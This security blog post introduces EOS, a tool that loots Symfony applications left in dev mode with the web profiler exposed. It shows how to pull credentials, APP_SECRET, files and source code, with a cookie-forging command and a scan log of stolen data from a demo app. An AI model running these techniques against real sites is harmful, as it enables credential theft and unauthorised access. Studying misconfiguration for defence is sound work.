Looting Symfony with EOS
- 23/04/2020 - dansSo let's get started and see what we can grab from the web profiler.
Symfony is a popular PHP web application framework. During a recent assessment, we stumbled upon a Symfony instance deployed in dev
mode. In this configuration, Symfony enables a debug component called the web profiler
.
This component bundled as symfony/web-profiler-bundle
offers multiple features for developers to inspect the application at runtime. For attackers, a bunch of information can be extracted from the profiler: routes, cookies, credentials, files, etc. To loot all this intel, we created the Enemies of Symfony (EOS)
tool, named after the popular Friends Of Symfony (FOS)
bundle.
So let's get started and see what we can grab from the web profiler
.
Note: this tool does not exploit any Symfony vulnerability. The profiler is a useful component for developers and EOS
simply takes advantage of misconfigured Symfony applications. In fact, the profiler documentation prominently warns developers:
Never enable the profiler in production environments as it will lead to major security vulnerabilities in your project.
Thanks to all the Symfony team for their awesome work!
Note: Symfony provides a demo application that can be used to test the following elements. A Dockerfile
is available on the EOS github repo.
Toolbar
The first component offered by the web profiler is its toolbar. Depending on the Symfony version and its configuration, the toolbar may be displayed by default on every pages, or only when going through the app_dev.php
page.
Indeed, in older Symfony versions, applications embed 2 kernels: web/app.php
and web/app_dev.php
, the former being the default one and the latter being created in dev
mode and used when requesting the app_dev.php
page. However by default, this page can only be reached from 127.0.0.1.
<?php
if (isset($_SERVER['HTTP_CLIENT_IP'])
|| isset($_SERVER['HTTP_X_FORWARDED_FOR'])
|| !(in_array(@$_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1']) || php_sapi_name() === 'cli-server')
) {
header('HTTP/1.0 403 Forbidden');
exit('You are not allowed to access this file. Check '.basename(__FILE__).' for more information.');
}
Debug::enable();
$kernel = new AppKernel('dev', true);
[...]
On recent Symfony versions, the application only creates 1 kernel in public/index.php
using the environment defined in its configuration files.
<?php
$kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
The toolbar already displays some information such as the Symfony and PHP versions used, their configuration and a link to a phpinfo
page. This page may contain valuable information as many Symfony settings are set as environment variables: database credentials, API tokens, the APP_SECRET
(more on that later), etc.
Request inspection
The Symfony kernel has a request profiler component (Symfony\Component\HttpKernel\Profiler
) that gathers information about resquests and responses, and associate them with a token. The web profiler bundle, as its name implies, provides a web interface to access this data, under the _profiler/{token}
path.
Routes
The Routing
panels shows the route matching logs. The profiler lists each registered route compared against the requested path until one matches. By inspecting a 404 response, we can then retrieve the entire list.
Requests
Requests and responses can be inspected individually in the dedicated panel. For looting, we are especially interested in POST requests paramaters. Symfony hides sensitive parameters but their value can be retrieved in the raw request content.
From this panel, one can also retrieve cookies, roles and other session attributes.
Cookies
Regarding cookies, Symfony offers a Remember Me
feature through a dedicated cookie served to the user after a successful authentication. This identifier is derived from the username, his password hash, the user class path and the expiration timestamp. These elements are concatenated and hashed with HMAC-SHA256 with the APP_SECRET
as key. Finally, the result is Base64 encoded.
<?php
// Symfony/Component/Security/Http/RememberMe/TokenBasedRememberMeServices.php
protected function generateCookieHash(string $class, string $username, int $expires, string $password)
{
return hash_hmac('sha256', $class.self::COOKIE_DELIMITER.$username.self::COOKIE_DELIMITER.$expires.self::COOKIE_DELIMITER.$password, $this->getSecret());
}
}
EOS
provides a command to generate such cookies from the previous parameters. This could be used in scenarios where the attacker is able to retrieve password hashes (through an SQL injection for instance).
$ eos cookies -u 'jane_admin' -H '$2y$13$IMalnQpo7xfZD5FJGbEadOcqyj2mi/NQbQiI8v2wBXfjZ4nwshJlG' -s '67d829bf61dc5f87a73fd814e2c9f629'
QXBwXEVudGl0eVxVc2VyOmFtRnVaVjloWkcxcGJnPT06MTYxODc5NDgzNzo1OTVjODY5ZWYwYzczOGQwOWEzOTFlYTNiNDdmNTBjZmYzOTY0ZDRmODIzOTEyMmU1MzFmOGQ2MGFkNmNjOWNm
Note however that even if commonly used, the Remember Me
feature is not enabled by default.
Reading files
From Symfony 3.x, the web profiler allows reading application files under the root directory. This feature is used by developper to quickly identify the source code responsible for handling a request. However, it can be abused to read configuration files.
Extracting source code
While convenient, the file reader feature does not allow directory listing. Thus, one cannot easily extract the whole application source code. However, this is still possible by abusing another Symfony feature: the cache system.
Symfony implements a caching mechanism whose files are saved under the application root at var/cache/%kernel.environment%
and therefore can be read from the profiler file reader.
The kernel cache container is particularly interesting as it holds all registered services and their associated class paths.
<services>
<service id="kernel" class="App\\Kernel" public="true" synthetic="true">
<tag name="routing.route_loader"/>
</service>
<service id="App\\Command\\AddUserCommand" class="App\\Command\\AddUserCommand">
<tag name="console.command"/>
<argument type="service" id="doctrine.orm.default_entity_manager"/>
<argument type="service" id="security.user_password_encoder.generic"/>
<argument type="service" id="App\\Utils\\Validator"/>
<argument type="service" id="App\\Repository\\UserRepository"/>
<call method="setName">
<argument>app:add-user</argument>
</call>
</service>
The cache file name is generated from the application configuration and depends on the Symfony version used. Here is an exemple from versions 2.x
to 5.x
, with src
being the source code root directory where the Kernel.php
file is, App
being the application namespace, Dev
the application environment, Debug
a constant string if the debug mode is enabled, and the remainder a constant suffix.
| Version | Cache filename |
|-----------+------------------------------------|
| 2.0 - 4.1 | srcDevDebugProjectContainer.xml |
| 4.2 - 4.4 | srcApp_KernelDevDebugContainer.xml |
| 5.0 - 5.x | App_KernelDevDebugContainer.xml |
Eventually, class paths can be converted to file paths by replacing the namespace root (App
) with the root directory (src
). This methods works pretty well on the demo application as EOS
manages to retrieve the whole application source code.
EOS
In the end, EOS
has been created to automate the previous operations. It is able to retrieve general information, configuration secrets, user credentials and the application source code.
$ eos scan http://localhost --output results
[+] Starting scan on http://localhost
[+] 2020-04-23 14:21:26.463352 is a great day
[+] Checks
[!] Target found in debug mode
[+] Info
[!] Symfony 5.0.1
[!] PHP 7.3.11-1~deb10u1
[!] Environment: dev
[+] Request logs
[+] Found 9 POST requests
[!] Found the following credentials with a valid session:
[!] jane_admin: kitten [ROLE_ADMIN]
[+] Phpinfo
[+] Available at http://localhost/_profiler/phpinfo
[+] Found 101 PHP variables
[!] Found the following Symfony variables:
[!] APP_ENV: dev
[!] APP_SECRET: 67d829bf61dc5f87a73fd814e2c9f629
[!] DATABASE_URL: sqlite:///%kernel.project_dir%/data/database.sqlite
[!] MAILER_URL: null://localhost
[+] Project files
[+] Found: composer.lock, run 'symfony security:check' or submit it at https://security.symfony.com
[!] Found the following files:
[!] composer.lock
[!] composer.json
[...]
[!] var/cache/dev/url_matching_routes.php
[!] var/log/dev.log
[+] Routes
[!] Found the following routes:
[!] /{_locale}/admin/post/
[!] /{_locale}/admin/post/
[!] /{_locale}/admin/post/new
[!] /{_locale}/admin/post/{id}
[!] /{_locale}/admin/post/{id}/edit
[!] /{_locale}/admin/post/{id}/delete
[!] /{_locale}/blog/
[!] /{_locale}/blog/rss.xml
[!] /{_locale}/blog/page/{page}
[!] /{_locale}/blog/posts/{slug}
[!] /{_locale}/blog/comment/{postSlug}/new
[!] /{_locale}/blog/search
[!] /{_locale}/login
[!] /{_locale}/logout
[!] /{_locale}/profile/edit
[!] /{_locale}/profile/change-password
[!] /{_locale}
[+] Project sources
[!] Found the following source files:
[!] src/Command/AddUserCommand.php
[!] src/Command/DeleteUserCommand.php
[...]
[!] src/Utils/Slugger.php
[!] src/Utils/Validator.php
[+] Saving files to results
[+] Saved 88 files
[+] Generated tokens: 5894a5 f68efa
[+] Scan completed in 0:00:13
Conclusion
Exposing debug features in a production environment often leads to severe vulnerabilities. The Symfony web profiler component exposes very sensitive information and provides dangerous features that can be abused by attackers to retrieve application files.
The methods used to access this intel are straightforward but EOS
can be used to quickly loot everything.